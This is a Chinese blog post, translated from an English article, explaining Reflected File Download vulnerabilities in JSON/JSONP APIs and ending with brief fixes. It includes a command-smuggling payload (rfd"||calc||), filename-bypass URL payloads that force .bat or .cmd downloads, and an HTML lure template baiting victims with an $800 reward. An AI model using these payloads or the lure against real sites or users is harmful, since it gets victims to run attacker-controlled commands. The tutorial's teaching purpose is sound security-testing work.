怎么引用json文件里面的其中一部分_什么是反射型文件下载(RFD)漏洞,如何找到漏洞?

d784f92675d11c31449d24d6648beb94.png

什么是反射型文件下载(RFD)漏洞,如何找到漏洞?

翻译文章,原文: Reflected File Download(RFD) Vulnerability


什么是Reflected File Download(RFD)漏洞?

反射型文件下载漏洞(RFD)是一种攻击技术,通过从受信任的域(例如http://Google.com和http://Bing.com)虚拟下载文件,攻击者可以获得对受害者计算机的完全访问权限。Trustwave SpiderLabs安全研究员Oren Hafif于2014年发现了这种网络攻击技术。

72b077427a3b1a7b8e8b40223d43887f.png

检查什么地方?

JSONJSONP API是RFD的主要检查点,大多数现代Web应用程序都在使用此技术。借助Burp Suite或OWASP zap等工具,您可以找到要测试的候选对象。

例如:

https://some.website.com/api/v1.0/get_user_profile

怎么测试?

RFD测试可以分三个部分:反射, 文件名称下载

1. 反射

步骤1 :

验证JSON/JSONP API的响应,并检查是否得到了任何用户输入。

例如请求:

https://some.website.com/api/v1.0/get_user_profile

返回:

{
“data”: {
        “id”: “1239985”,
        “domain”: “website.com”,
        “ph”: “6456787984”,
        “first_name”: “DemoTest”,
        “last_name”: “LastRFD”,
        “version”: “5”,
        }
}

在示例中,您可以看到first_name,last_name和ph反射在JSON响应中。

步骤2:

现在,输入RFD有效负载 rfd"||calc|| 进入first_name和last_name字段。验证JSON / JSONP响应(如果它像 rfd"||calc|| 一样反射回来)那么就有RFD的可能性。

要完全验证它,请将响应复制并保存为filename.bat。使用cmd提示打开它,可以看到窗口calc弹出了。

例如返回:

{
“data”: {
        “id”: “1239985”,
        “domain”: “website.com”,
        “ph”: “6456787984”,
        “first_name”: “rfd”||calc||”,
        “last_name”: “rfd”||calc||”,
        “version”: “5”,
        }
}

因此,反射得到确认。我们需要利用它

2. 文件名称

具有挑战性的部分。如果我们在IE 11中命中JSON / JSONP API URL,我们可以看到响应将以somefileName.json的形式下载。文件名主要取决于http Content-Disposition标头和URL

要利用此漏洞,我们应该能够将文件格式更改为.cmd,.bat或.exe才能执行。怎么样实现呢?

例如:Content-Disposition: userprofile.json

文件将以Content-Disposition标头中提到的相同名称下载。因此,我们无法利用它。我们需要转到下一个可能性,例如没有Content-Disposition标头的响应。

如果Content-Disposition响应标头中没有返回文件名属性,浏览器将被迫根据URL确定下载文件的名称。

例如:https://some.website.com/api/v1.0/get_user_profile

get_user_profile.json

我们可以使用以下有效负载来绕过此文件名:

get_user_profile.bat

get_user_profile;setup.bat

get_user_profile/setup.bat

get_user_profile;/setup.bat

get_user_profile;/setup.bat;

3. 下载

HTML 模板:

<! DOCTYPE html>
<html>
<body>
<p>Click the Image and open the file: You will be rewarded with $800<p><a href=”https://some.website.com/api/v1.0/get_user_profile/setup.cmd?" download><img border=”0" src=”https://some.website.com/api/v1.0/get_user_profile/setup.cmd?" alt=”8000 Dollars” width=”104" height=”142"></a>
</body>
</html>

打开html页面,单击链接,文件将下载为setup.cmd。

bebd0c0426427780402be6bcb3148572.png

如何修复这个漏洞?

  • 使用 “ Content-Disposition ”标题强制文件名。
  • 使用CSRF令牌
  • 为所有API实施安全标头

引用:

https://www.trustwave.com/Resources/SpiderLabs-Blog/Reflected-File-Download---A-New-Web-Attack-Vector/
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值